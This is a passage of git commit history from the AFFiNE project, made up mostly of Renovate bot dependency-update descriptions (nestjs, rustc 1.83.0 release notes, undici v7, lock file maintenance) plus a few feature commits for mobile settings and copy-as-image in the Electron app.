    -   [#&#8203;14228](https://redirect.github.com/nestjs/nest/pull/14228) chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v22.10.0 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14227](https://redirect.github.com/nestjs/nest/pull/14227) fix(deps): update nest-graphql monorepo to v12.2.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14224](https://redirect.github.com/nestjs/nest/pull/14224) fix(deps): update dependency sequelize to v6.37.5 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14230](https://redirect.github.com/nestjs/nest/pull/14230) chore(deps): update mysql docker tag to v9 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14231](https://redirect.github.com/nestjs/nest/pull/14231) fix(deps): update dependency [@&#8203;nestjs/swagger](https://redirect.github.com/nestjs/swagger) to v8 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   `common`, `core`, `microservices`, `platform-express`, `platform-fastify`, `platform-socket.io`, `platform-ws`, `testing`, `websockets`
    -   [#&#8203;14226](https://redirect.github.com/nestjs/nest/pull/14226) fix(deps): update dependency tslib to v2.8.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   `platform-socket.io`
    -   [#&#8203;14225](https://redirect.github.com/nestjs/nest/pull/14225) fix(deps): update dependency socket.io to v4.8.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))

##### Committers: 1

-   Lhon ([@&#8203;LhonRafaat](https://redirect.github.com/LhonRafaat))

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/testing)</summary>

### [`v10.4.12`](https://redirect.github.com/nestjs/nest/compare/v10.4.11...cf8d27c2f3fb1731785ad7a2ce0447889435f6a3)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.11...v10.4.12)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-30 02:35:54 +00:00
renovate
b60f24626c chore: bump up rustc version to v1.83.0 (#8962)
This PR contains the following updates:

| Package | Update | Change |
|---|---|---|
| [rustc](https://redirect.github.com/rust-lang/rust) | minor | `1.82.0` -> `1.83.0` |

---

### Release Notes

<details>
<summary>rust-lang/rust (rustc)</summary>

### [`v1.83.0`](https://redirect.github.com/rust-lang/rust/blob/HEAD/RELEASES.md#Version-1830-2024-11-28)

[Compare Source](https://redirect.github.com/rust-lang/rust/compare/1.82.0...1.83.0)

\==========================

<a id="1.83.0-Language"></a>

## Language

-   [Stabilize `&mut`, `*mut`, `&Cell`, and `*const Cell` in const.](https://redirect.github.com/rust-lang/rust/pull/129195)
-   [Allow creating references to statics in `const` initializers.](https://redirect.github.com/rust-lang/rust/pull/129759)
-   [Implement raw lifetimes and labels (`'r#ident`).](https://redirect.github.com/rust-lang/rust/pull/126452)
-   [Define behavior when atomic and non-atomic reads race.](https://redirect.github.com/rust-lang/rust/pull/128778)
-   [Non-exhaustive structs may now be empty.](https://redirect.github.com/rust-lang/rust/pull/128934)
-   [Disallow implicit coercions from places of type `!`](https://redirect.github.com/rust-lang/rust/pull/129392)
-   [`const extern` functions can now be defined for other calling conventions.](https://redirect.github.com/rust-lang/rust/pull/129753)
-   [Stabilize `expr_2021` macro fragment specifier in all editions.](https://redirect.github.com/rust-lang/rust/pull/129972)
-   [The `non_local_definitions` lint now fires on less code and warns by default.](https://redirect.github.com/rust-lang/rust/pull/127117)

<a id="1.83.0-Compiler"></a>

## Compiler

-   [Deprecate unsound `-Csoft-float` flag.](https://redirect.github.com/rust-lang/rust/pull/129897)
-   Add many new tier 3 targets:
    -   [`aarch64_unknown_nto_qnx700`](https://redirect.github.com/rust-lang/rust/pull/127897)
    -   [`arm64e-apple-tvos`](https://redirect.github.com/rust-lang/rust/pull/130614)
    -   [`armv7-rtems-eabihf`](https://redirect.github.com/rust-lang/rust/pull/127021)
    -   [`loongarch64-unknown-linux-ohos`](https://redirect.github.com/rust-lang/rust/pull/130750)
    -   [`riscv32-wrs-vxworks` and `riscv64-wrs-vxworks`](https://redirect.github.com/rust-lang/rust/pull/130549)
    -   [`riscv32{e|em|emc}-unknown-none-elf`](https://redirect.github.com/rust-lang/rust/pull/130555)
    -   [`x86_64-unknown-hurd-gnu`](https://redirect.github.com/rust-lang/rust/pull/128345)
    -   [`x86_64-unknown-trusty`](https://redirect.github.com/rust-lang/rust/pull/130453)

Refer to Rust's \[platform support page]\[platform-support-doc]
for more information on Rust's tiered platform support.

<a id="1.83.0-Libraries"></a>

## Libraries

-   [Implement `PartialEq` for `ExitCode`.](https://redirect.github.com/rust-lang/rust/pull/127633)
-   [Document that `catch_unwind` can deal with foreign exceptions without UB, although the exact behavior is unspecified.](https://redirect.github.com/rust-lang/rust/pull/128321)
-   [Implement `Default` for `HashMap`/`HashSet` iterators that don't already have it.](https://redirect.github.com/rust-lang/rust/pull/128711)
-   [Bump Unicode to version 16.0.0.](https://redirect.github.com/rust-lang/rust/pull/130183)
-   [Change documentation of `ptr::add`/`sub` to not claim equivalence with `offset`.](https://redirect.github.com/rust-lang/rust/pull/130229).

<a id="1.83.0-Stabilized-APIs"></a>

## Stabilized APIs

-   [`BufRead::skip_until`](https://doc.rust-lang.org/stable/std/io/trait.BufRead.html#method.skip_until)
-   [`ControlFlow::break_value`](https://doc.rust-lang.org/stable/core/ops/enum.ControlFlow.html#method.break_value)
-   [`ControlFlow::continue_value`](https://doc.rust-lang.org/stable/core/ops/enum.ControlFlow.html#method.continue_value)
-   [`ControlFlow::map_break`](https://doc.rust-lang.org/stable/core/ops/enum.ControlFlow.html#method.map_break)
-   [`ControlFlow::map_continue`](https://doc.rust-lang.org/stable/core/ops/enum.ControlFlow.html#method.map_continue)
-   [`DebugList::finish_non_exhaustive`](https://doc.rust-lang.org/stable/core/fmt/struct.DebugList.html#method.finish_non_exhaustive)
-   [`DebugMap::finish_non_exhaustive`](https://doc.rust-lang.org/stable/core/fmt/struct.DebugMap.html#method.finish_non_exhaustive)
-   [`DebugSet::finish_non_exhaustive`](https://doc.rust-lang.org/stable/core/fmt/struct.DebugSet.html#method.finish_non_exhaustive)
-   [`DebugTuple::finish_non_exhaustive`](https://doc.rust-lang.org/stable/core/fmt/struct.DebugTuple.html#method.finish_non_exhaustive)
-   [`ErrorKind::ArgumentListTooLong`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.ArgumentListTooLong)
-   [`ErrorKind::Deadlock`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.Deadlock)
-   [`ErrorKind::DirectoryNotEmpty`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.DirectoryNotEmpty)
-   [`ErrorKind::ExecutableFileBusy`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.ExecutableFileBusy)
-   [`ErrorKind::FileTooLarge`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.FileTooLarge)
-   [`ErrorKind::HostUnreachable`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.HostUnreachable)
-   [`ErrorKind::IsADirectory`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.IsADirectory)
-   [`ErrorKind::NetworkDown`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.NetworkDown)
-   [`ErrorKind::NetworkUnreachable`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.NetworkUnreachable)
-   [`ErrorKind::NotADirectory`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.NotADirectory)
-   [`ErrorKind::NotSeekable`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.NotSeekable)
-   [`ErrorKind::ReadOnlyFilesystem`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.ReadOnlyFilesystem)
-   [`ErrorKind::ResourceBusy`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.ResourceBusy)
-   [`ErrorKind::StaleNetworkFileHandle`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.StaleNetworkFileHandle)
-   [`ErrorKind::StorageFull`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.StorageFull)
-   [`ErrorKind::TooManyLinks`](https://doc.rust-lang.org/stable/std/io/enum.ErrorKind.html#variant.TooManyLinks)
-   [`Option::get_or_insert_default`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.get_or_insert_default)
-   [`Waker::data`](https://doc.rust-lang.org/stable/core/task/struct.Waker.html#method.data)
-   [`Waker::new`](https://doc.rust-lang.org/stable/core/task/struct.Waker.html#method.new)
-   [`Waker::vtable`](https://doc.rust-lang.org/stable/core/task/struct.Waker.html#method.vtable)
-   [`char::MIN`](https://doc.rust-lang.org/stable/core/primitive.char.html#associatedconstant.MIN)
-   [`hash_map::Entry::insert_entry`](https://doc.rust-lang.org/stable/std/collections/hash_map/enum.Entry.html#method.insert_entry)
-   [`hash_map::VacantEntry::insert_entry`](https://doc.rust-lang.org/stable/std/collections/hash_map/struct.VacantEntry.html#method.insert_entry)

These APIs are now stable in const contexts:

-   [`Cell::into_inner`](https://doc.rust-lang.org/stable/core/cell/struct.Cell.html#method.into_inner)
-   [`Duration::as_secs_f32`](https://doc.rust-lang.org/stable/core/time/struct.Duration.html#method.as_secs_f32)
-   [`Duration::as_secs_f64`](https://doc.rust-lang.org/stable/core/time/struct.Duration.html#method.as_secs_f64)
-   [`Duration::div_duration_f32`](https://doc.rust-lang.org/stable/core/time/struct.Duration.html#method.div_duration_f32)
-   [`Duration::div_duration_f64`](https://doc.rust-lang.org/stable/core/time/struct.Duration.html#method.div_duration_f64)
-   [`MaybeUninit::as_mut_ptr`](https://doc.rust-lang.org/stable/core/mem/union.MaybeUninit.html#method.as_mut_ptr)
-   [`NonNull::as_mut`](https://doc.rust-lang.org/stable/core/ptr/struct.NonNull.html#method.as_mut)
-   [`NonNull::copy_from`](https://doc.rust-lang.org/stable/core/ptr/struct.NonNull.html#method.copy_from)
-   [`NonNull::copy_from_nonoverlapping`](https://doc.rust-lang.org/stable/core/ptr/struct.NonNull.html#method.copy_from_nonoverlapping)
-   [`NonNull::copy_to`](https://doc.rust-lang.org/stable/core/ptr/struct.NonNull.html#method.copy_to)
-   [`NonNull::copy_to_nonoverlapping`](https://doc.rust-lang.org/stable/core/ptr/struct.NonNull.html#method.copy_to_nonoverlapping)
-   [`NonNull::slice_from_raw_parts`](https://doc.rust-lang.org/stable/core/ptr/struct.NonNull.html#method.slice_from_raw_parts)
-   [`NonNull::write`](https://doc.rust-lang.org/stable/core/ptr/struct.NonNull.html#method.write)
-   [`NonNull::write_bytes`](https://doc.rust-lang.org/stable/core/ptr/struct.NonNull.html#method.write_bytes)
-   [`NonNull::write_unaligned`](https://doc.rust-lang.org/stable/core/ptr/struct.NonNull.html#method.write_unaligned)
-   [`OnceCell::into_inner`](https://doc.rust-lang.org/stable/core/cell/struct.OnceCell.html#method.into_inner)
-   [`Option::as_mut`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.as_mut)
-   [`Option::expect`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.expect)
-   [`Option::replace`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.replace)
-   [`Option::take`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.take)
-   [`Option::unwrap`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.unwrap)
-   [`Option::unwrap_unchecked`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.unwrap_unchecked)
-   [`Option::<&_>::copied`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.copied)
-   [`Option::<&mut _>::copied`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.copied-1)
-   [`Option::<Option<_>>::flatten`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.flatten)
-   [`Option::<Result<_, _>>::transpose`](https://doc.rust-lang.org/stable/core/option/enum.Option.html#method.transpose)
-   [`RefCell::into_inner`](https://doc.rust-lang.org/stable/core/cell/struct.RefCell.html#method.into_inner)
-   [`Result::as_mut`](https://doc.rust-lang.org/stable/core/result/enum.Result.html#method.as_mut)
-   [`Result::<&_, _>::copied`](https://doc.rust-lang.org/stable/core/result/enum.Result.html#method.copied)
-   [`Result::<&mut _, _>::copied`](https://doc.rust-lang.org/stable/core/result/enum.Result.html#method.copied-1)
-   [`Result::<Option<_>, _>::transpose`](https://doc.rust-lang.org/stable/core/result/enum.Result.html#method.transpose)
-   [`UnsafeCell::get_mut`](https://doc.rust-lang.org/stable/core/cell/struct.UnsafeCell.html#method.get_mut)
-   [`UnsafeCell::into_inner`](https://doc.rust-lang.org/stable/core/cell/struct.UnsafeCell.html#method.into_inner)
-   [`array::from_mut`](https://doc.rust-lang.org/stable/core/array/fn.from_mut.html)
-   [`char::encode_utf8`](https://doc.rust-lang.org/stable/core/primitive.char.html#method.encode_utf8)
-   [`{float}::classify`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.classify)
-   [`{float}::is_finite`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.is_finite)
-   [`{float}::is_infinite`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.is_infinite)
-   [`{float}::is_nan`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.is_nan)
-   [`{float}::is_normal`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.is_normal)
-   [`{float}::is_sign_negative`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.is_sign_negative)
-   [`{float}::is_sign_positive`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.is_sign_positive)
-   [`{float}::is_subnormal`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.is_subnormal)
-   [`{float}::from_bits`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.from_bits)
-   [`{float}::from_be_bytes`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.from_be_bytes)
-   [`{float}::from_le_bytes`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.from_le_bytes)
-   [`{float}::from_ne_bytes`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.from_ne_bytes)
-   [`{float}::to_bits`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.to_bits)
-   [`{float}::to_be_bytes`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.to_be_bytes)
-   [`{float}::to_le_bytes`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.to_le_bytes)
-   [`{float}::to_ne_bytes`](https://doc.rust-lang.org/stable/core/primitive.f64.html#method.to_ne_bytes)
-   [`mem::replace`](https://doc.rust-lang.org/stable/core/mem/fn.replace.html)
-   [`ptr::replace`](https://doc.rust-lang.org/stable/core/ptr/fn.replace.html)
-   [`ptr::slice_from_raw_parts_mut`](https://doc.rust-lang.org/stable/core/ptr/fn.slice_from_raw_parts_mut.html)
-   [`ptr::write`](https://doc.rust-lang.org/stable/core/ptr/fn.write.html)
-   [`ptr::write_unaligned`](https://doc.rust-lang.org/stable/core/ptr/fn.write_unaligned.html)
-   [`<*const _>::copy_to`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.copy_to)
-   [`<*const _>::copy_to_nonoverlapping`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.copy_to_nonoverlapping)
-   [`<*mut _>::copy_from`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.copy_from)
-   [`<*mut _>::copy_from_nonoverlapping`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.copy_from_nonoverlapping)
-   [`<*mut _>::copy_to`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.copy_to-1)
-   [`<*mut _>::copy_to_nonoverlapping`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.copy_to_nonoverlapping-1)
-   [`<*mut _>::write`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.write)
-   [`<*mut _>::write_bytes`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.write_bytes)
-   [`<*mut _>::write_unaligned`](https://doc.rust-lang.org/stable/core/primitive.pointer.html#method.write_unaligned)
-   [`slice::from_mut`](https://doc.rust-lang.org/stable/core/slice/fn.from_mut.html)
-   [`slice::from_raw_parts_mut`](https://doc.rust-lang.org/stable/core/slice/fn.from_raw_parts_mut.html)
-   [`<[_]>::first_mut`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.first_mut)
-   [`<[_]>::last_mut`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.last_mut)
-   [`<[_]>::first_chunk_mut`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.first_chunk_mut)
-   [`<[_]>::last_chunk_mut`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.last_chunk_mut)
-   [`<[_]>::split_at_mut`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.split_at_mut)
-   [`<[_]>::split_at_mut_checked`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.split_at_mut_checked)
-   [`<[_]>::split_at_mut_unchecked`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.split_at_mut_unchecked)
-   [`<[_]>::split_first_mut`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.split_first_mut)
-   [`<[_]>::split_last_mut`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.split_last_mut)
-   [`<[_]>::split_first_chunk_mut`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.split_first_chunk_mut)
-   [`<[_]>::split_last_chunk_mut`](https://doc.rust-lang.org/stable/core/primitive.slice.html#method.split_last_chunk_mut)
-   [`str::as_bytes_mut`](https://doc.rust-lang.org/stable/core/primitive.str.html#method.as_bytes_mut)
-   [`str::as_mut_ptr`](https://doc.rust-lang.org/stable/core/primitive.str.html#method.as_mut_ptr)
-   [`str::from_utf8_unchecked_mut`](https://doc.rust-lang.org/stable/core/str/fn.from_utf8\_unchecked_mut.html)

<a id="1.83.0-Cargo"></a>

## Cargo

-   [Introduced a new `CARGO_MANIFEST_PATH` environment variable, similar to `CARGO_MANIFEST_DIR` but pointing directly to the manifest file.](https://redirect.github.com/rust-lang/cargo/pull/14404/)
-   [Added `package.autolib` to the manifest, allowing `[lib]` auto-discovery to be disabled.](https://redirect.github.com/rust-lang/cargo/pull/14591/)
-   [Declare support level for each crate in Cargo's Charter / crate docs.](https://redirect.github.com/rust-lang/cargo/pull/14600/)
-   [Declare new Intentional Artifacts as 'small' changes.](https://redirect.github.com/rust-lang/cargo/pull/14599/)

<a id="1.83-Rustdoc"></a>

## Rustdoc

-   [The sidebar / hamburger menu table of contents now includes the `# headers` from the main item's doc comment](https://redirect.github.com/rust-lang/rust/pull/120736). This is similar to a third-party feature provided by the rustdoc-search-enhancements browser extension.

<a id="1.83.0-Compatibility-Notes"></a>

## Compatibility Notes

-   [Warn against function pointers using unsupported ABI strings.](https://redirect.github.com/rust-lang/rust/pull/128784)
-   [Check well-formedness of the source type's signature in fn pointer casts.](https://redirect.github.com/rust-lang/rust/pull/129021) This partly closes a soundness hole that comes when casting a function item to function pointer
-   [Use equality instead of subtyping when resolving type dependent paths.](https://redirect.github.com/rust-lang/rust/pull/129073)
-   Linking on macOS now correctly includes Rust's default deployment target. Due to a linker bug, you might have to pass `MACOSX_DEPLOYMENT_TARGET` or fix your `#[link]` attributes to point to the correct frameworks. See [#&#8203;129369](https://redirect.github.com/rust-lang/rust/pull/129369).
-   [Rust will now correctly raise an error for `repr(Rust)` written on non-`struct`/`enum`/`union` items, since it previous did not have any effect.](https://redirect.github.com/rust-lang/rust/pull/129422)
-   The future incompatibility lint `deprecated_cfg_attr_crate_type_name` [has been made into a hard error](https://redirect.github.com/rust-lang/rust/pull/129670). It was used to deny usage of `#![crate_type]` and `#![crate_name]` attributes in `#![cfg_attr]`, which required a hack in the compiler to be able to change the used crate type and crate name after cfg expansion.
    Users can use `--crate-type` instead of `#![cfg_attr(..., crate_type = "...")]` and `--crate-name` instead of `#![cfg_attr(..., crate_name = "...")]` when running `rustc`/`cargo rustc` on the command line.
    Use of those two attributes outside of `#![cfg_attr]` continue to be fully supported.
-   Until now, paths into the sysroot were always prefixed with `/rustc/$hash` in diagnostics, codegen, backtrace, e.g.

        thread 'main' panicked at 'hello world', map-panic.rs:2:50
        stack backtrace:
           0: std::panicking::begin_panic
                     at /rustc/a55dd71d5fb0ec5a6a3a9e8c27b2127ba491ce52/library/std/src/panicking.rs:616:12
           1: map_panic::main::{{closure}}
                     at ./map-panic.rs:2:50
           2: core::option::Option<T>::map
                     at /rustc/a55dd71d5fb0ec5a6a3a9e8c27b2127ba491ce52/library/core/src/option.rs:929:29
           3: map_panic::main
                     at ./map-panic.rs:2:30
           4: core::ops::function::FnOnce::call_once
                     at /rustc/a55dd71d5fb0ec5a6a3a9e8c27b2127ba491ce52/library/core/src/ops/function.rs:248:5
        note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.

    [RFC 3127 said](https://rust-lang.github.io/rfcs/3127-trim-paths.html#changing-handling-of-sysroot-path-in-rustc)

    > We want to change this behaviour such that, when `rust-src` source files can be discovered, the virtual path is discarded and therefore the local path will be embedded, unless there is a `--remap-path-prefix` that causes this local path to be remapped in the usual way.

    [#&#8203;129687](https://redirect.github.com/rust-lang/rust/pull/129687) implements this behaviour, when `rust-src` is present at compile time, `rustc` replaces `/rustc/$hash` with a real path into the local `rust-src` component with best effort.
    To sanitize this, users must explicitly supply `--remap-path-prefix=<path to rust-src>=foo` or not have the `rust-src` component installed.
-   The allow-by-default `missing_docs` lint used to disable itself when invoked through `rustc --test`/`cargo test`, resulting in `#[expect(missing_docs)]` emitting false positives due to the expectation being wrongly unfulfilled. This behavior [has now been removed](https://redirect.github.com/rust-lang/rust/pull/130025), which allows `#[expect(missing_docs)]` to be fulfilled in all scenarios, but will also report new `missing_docs` diagnostics for publicly reachable `#[cfg(test)]` items, [integration test](https://doc.rust-lang.org/cargo/reference/cargo-targets.html#integration-tests) crate-level documentation, and publicly reachable items in integration tests.
-   [The `armv8r-none-eabihf` target now uses the Armv8-R required set of floating-point features.](https://redirect.github.com/rust-lang/rust/pull/130295)
-   [Fix a soundness bug where rustc wouldn't detect unconstrained higher-ranked lifetimes in a `dyn Trait`'s associated types that occur due to supertraits.](https://redirect.github.com/rust-lang/rust/pull/130367)
-   [Update the minimum external LLVM version to 18.](https://redirect.github.com/rust-lang/rust/pull/130487)
-   [Remove `aarch64-fuchsia` and `x86_64-fuchsia` target aliases in favor of `aarch64-unknown-fuchsia` and `x86_64-unknown-fuchsia` respectively.](https://redirect.github.com/rust-lang/rust/pull/130657)
-   [The ABI-level exception class of a Rust panic is now encoded with native-endian bytes, so it is legible in hex dumps.](https://redirect.github.com/rust-lang/rust/pull/130897)
-   [Visual Studio 2013 is no longer supported for MSVC targets.](https://redirect.github.com/rust-lang/rust/pull/131070)
-   [The sysroot no longer contains the `std` dynamic library in its top-level `lib/` dir.](https://redirect.github.com/rust-lang/rust/pull/131188)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-11-29 01:25:10 +00:00
CatsJuice
71ab75e30e feat(mobile): mobile experimental feature setting (#8922)
close AF-1802

![CleanShot 2024-11-26 at 10.02.27.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/09d24e35-a524-497d-b5aa-840bf74f128f.gif)
2024-11-28 07:25:06 +00:00
akumatus
c95e6ec518 feat(core): support copy as image in electron app (#8939)
Close issue [AF-1785](https://linear.app/affine-design/issue/AF-1785).

### What changed?
- Support copy as image in electron app:
  -  Select the whole mindmap if any of the mindmap nodes is selected.
  -  Hide unselected overlap elements before taking a snapshot.
  -  Fit the selected elements to the screen.
  -  Add CSS style to hide irrelevant dom nodes, like widgets, whiteboard background and so on.
     - Due to the usage of Shadow Dom in our code, not all node styles can be controlled. Thus this PR use `-2px` padding for `affine:frame` snapshots.
  - Using electron `capturePage` API to take a snapshot of selected elements.

<div class='graphite__hidden'>
          <div>🎥 Video uploaded on Graphite:</div>
            <a href="https://app.graphite.dev/media/video/sJGviKxfE3Ap685cl5bj/c1b7b772-ddf8-4a85-b670-e96af7bd5cc0.mov">
              <img src="https://app.graphite.dev/api/v1/graphite/video/thumbnail/sJGviKxfE3Ap685cl5bj/c1b7b772-ddf8-4a85-b670-e96af7bd5cc0.mov">
            </a>
          </div>
<video src="https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/sJGviKxfE3Ap685cl5bj/c1b7b772-ddf8-4a85-b670-e96af7bd5cc0.mov">录屏2024-11-27 16.11.03.mov</video>
2024-11-28 03:58:04 +00:00
Saul-Mirone
f780316f8b feat: add feature flag for new dnd (#8949) 2024-11-28 03:42:02 +00:00
renovate
2eae89d031 chore: Lock file maintenance (#8768)
This PR contains the following updates:

| Update | Change |
|---|---|
| lockFileMaintenance | All locks refreshed |

🔧 This Pull Request updates lock files to use the latest dependency versions.

---

### Configuration

📅 **Schedule**: Branch creation - "before 4am on Monday" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS43LjEiLCJ1cGRhdGVkSW5WZXIiOiIzOS4xOS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2024-11-28 03:26:09 +00:00
renovate
016e2ecdb9 chore: bump up undici version to v7 (#8950)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [undici](https://undici.nodejs.org) ([source](https://redirect.github.com/nodejs/undici)) | [`^6.12.0` -> `^7.0.0`](https://renovatebot.com/diffs/npm/undici/6.21.0/7.0.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/undici/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/undici/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/undici/6.21.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/undici/6.21.0/7.0.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nodejs/undici (undici)</summary>

### [`v7.0.0`](https://redirect.github.com/nodejs/undici/releases/tag/v7.0.0)

[Compare Source](https://redirect.github.com/nodejs/undici/compare/v6.21.0...v7.0.0)

#### What's Changed

-   fetch: fix content-encoding order by [@&#8203;tsctx](https://redirect.github.com/tsctx) in [https://github.com/nodejs/undici/pull/3343](https://redirect.github.com/nodejs/undici/pull/3343)
-   Add regression test for broken body by [@&#8203;mcollina](https://redirect.github.com/mcollina) in [https://github.com/nodejs/undici/pull/3346](https://redirect.github.com/nodejs/undici/pull/3346)
-   build(deps): bump node from `075a5cc` to `9af472b` in /build by [@&#8203;dependabot](https://redirect.github.com/dependabot) in [https://github.com/nodejs/undici/pull/3355](https://redirect.github.com/nodejs/undici/pull/3355)
-   fix: post request signal by [@&#8203;Gigioliva](https://redirect.github.com/Gigioliva) in [https://github.com/nodejs/undici/pull/3354](https://redirect.github.com/nodejs/undici/pull/3354)
-   Revert "fix: post request signal ([#&#8203;3354](https://redirect.github.com/nodejs/undici/issues/3354))" by [@&#8203;ronag](https://redirect.github.com/ronag) in [https://github.com/nodejs/undici/pull/3359](https://redirect.github.com/nodejs/undici/pull/3359)
